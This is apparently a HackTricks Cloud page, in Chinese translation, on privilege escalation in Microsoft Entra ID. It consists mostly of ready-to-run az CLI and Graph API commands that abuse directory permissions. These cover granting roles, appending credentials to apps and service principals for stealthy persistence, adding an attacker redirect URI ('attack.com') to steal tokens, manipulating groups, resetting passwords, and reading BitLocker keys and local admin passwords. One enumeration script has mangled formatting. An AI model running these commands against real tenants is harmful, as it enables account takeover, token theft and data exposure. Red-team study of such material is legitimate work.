Az - EntraID Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Note
注意,并非所有的细粒度权限(内置角色在 Entra ID 中拥有的)都可以在自定义角色中使用。
角色
角色: Privileged Role Administrator
该角色包含必要的细粒度权限,可以将角色分配给主体并向角色授予更多权限。两者都可能被滥用以提升权限。
- 将角色分配给用户:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- 向角色添加更多权限:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
应用
microsoft.directory/applications/credentials/update
这允许攻击者向现有应用 add credentials (passwords or certificates)。如果该应用具有特权权限,攻击者可以以该应用的身份进行认证并获得这些权限。
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
这允许执行与 applications/credentials/update 相同的操作,但范围仅限于单一目录的应用。
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
通过将自己添加为所有者,attacker 可以操控该应用,包括凭证和权限。
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
攻击者可以向 tenant 中用户正在使用的 applications 添加一个 redirect URI,然后将使用该新 redirect URI 的登录 URL 分享给他们,以窃取他们的 tokens。请注意,如果用户已经在该 application 中登录,认证将会自动完成,用户无需执行任何确认操作。
另外,也可以更改 application 请求的 permissions 以获取更多权限,但在这种情况下,用户需要再次接受请求所有 permissions 的提示。
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Applications Privilege Escalation
As explained in this post 通常会发现默认应用被分配了类型为 API permissions 的 Application。在 Entra ID 控制台中被称为 API Permission 的类型为 Application 意味着该应用可以在没有用户上下文(即没有用户登录到该应用)的情况下访问 API 并执行操作,且不需要 Entra ID 角色来授权。因此,在每个 Entra ID 租户中发现 高权限的应用 是非常常见的。
然后,如果攻击者拥有任何允许 更新该应用的凭证(secret o certificate) 的权限/角色,攻击者可以生成一个新的凭证并使用它来 以该应用的身份进行身份验证(authenticate as the application),从而获得该应用拥有的所有权限。
请注意,前述博客列出了一些常见 Microsoft 默认应用的 API permissions,但在该报告发布后不久,Microsoft 修复了此问题,现在已无法再以 Microsoft 应用登录。然而,仍然可能找到可被滥用的 具有高权限的自定义应用。
How to enumerate the API permissions of an application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
查找所有应用的 API 权限并标记 Microsoft 拥有的 API
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
这允许攻击者向现有的 service principals 添加凭据。如果该 service principal 拥有提升的权限,攻击者可以获得这些权限。
```bash
az ad sp credential reset --id <sp-id> --append
Caution
新生成的密码不会出现在 web 控制台中,所以这可能是维持 service principal 持久性的一种隐蔽方式。
通过 API 可以用以下命令找到它们:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
如果你收到错误 "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid.",那是因为 无法修改 SP 的 passwordCredentials 属性,首先你需要将其解锁。为此你需要一个权限(microsoft.directory/applications/allProperties/update),该权限允许你执行:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
这允许攻击者向现有的服务主体添加凭据。如果该服务主体具有更高的权限,攻击者可以获取这些权限。
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
类似于 applications,该权限允许向 service principal 添加更多所有者。拥有 service principal 可控制其凭据和权限。
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
在添加新的所有者后,我尝试将其移除,但 API 返回不支持 DELETE 方法,即使 DELETE 是删除所有者所需的方法。因此你现在无法移除所有者。
microsoft.directory/servicePrincipals/disable and enable
这些权限允许禁用和启用服务主体。攻击者可能利用该权限启用一个他能够以某种方式访问的服务主体,从而提升权限。
注意,对于此技术,攻击者还需要更多权限才能接管被启用的服务主体。
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
这些权限允许创建和获取用于单点登录的凭据,从而可能允许访问第三方应用。
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
组
microsoft.directory/groups/allProperties/update
此权限允许将用户添加到特权组,从而导致权限提升。
az ad group member add --group <GroupName> --member-id <UserId>
注意: 此权限不包括 Entra ID 可分配角色的组。
microsoft.directory/groups/owners/update
此权限允许成为组的所有者。作为组的所有者,可以控制组成员和设置,可能借此将权限升级到该组。
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
注意: 此权限不包括 Entra ID 中的 role-assignable groups。
microsoft.directory/groups/members/update
此权限允许向组中添加成员。攻击者可以将自己或恶意账户添加到特权组,从而获得提升的访问权限。
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
此权限允许更新动态组的成员规则。攻击者可以修改动态规则,将自己包含到特权组中,而无需显式添加。
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
注意: 此权限不包括 Entra ID role-assignable groups。
Dynamic Groups Privesc
用户可能通过修改自己的属性使其被添加为 dynamic groups 的成员,从而提升权限。更多信息请参见:
用户
microsoft.directory/users/password/update
此权限允许重置非管理员用户的密码,使潜在攻击者可能提升对其他用户的权限。该权限无法分配给 custom roles。
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
此权限允许修改用户的属性。通常会发现一些根据属性值添加用户的动态组,因此,该权限可能允许用户设置所需的属性值,从而成为特定动态组的成员并提升权限。
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
错误配置的 conditional access policies(需要 MFA)可能会被绕过,请查看:
Az - Conditional Access Policies & MFA Bypass
设备
microsoft.directory/devices/registeredOwners/update
此权限允许攻击者将自己指定为设备所有者,从而获取对设备特定设置和数据的控制或访问权限。
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
此权限允许攻击者将其帐户与设备关联,以获取访问权限或绕过安全策略。
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
该权限允许攻击者读取为 Microsoft Entra 加入的设备备份的本地管理员帐户凭据的属性,包括 password
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
该权限允许访问 BitLocker 密钥,攻击者可能借此解密磁盘,从而危及数据的机密性。
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
其他有趣的权限(待办)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

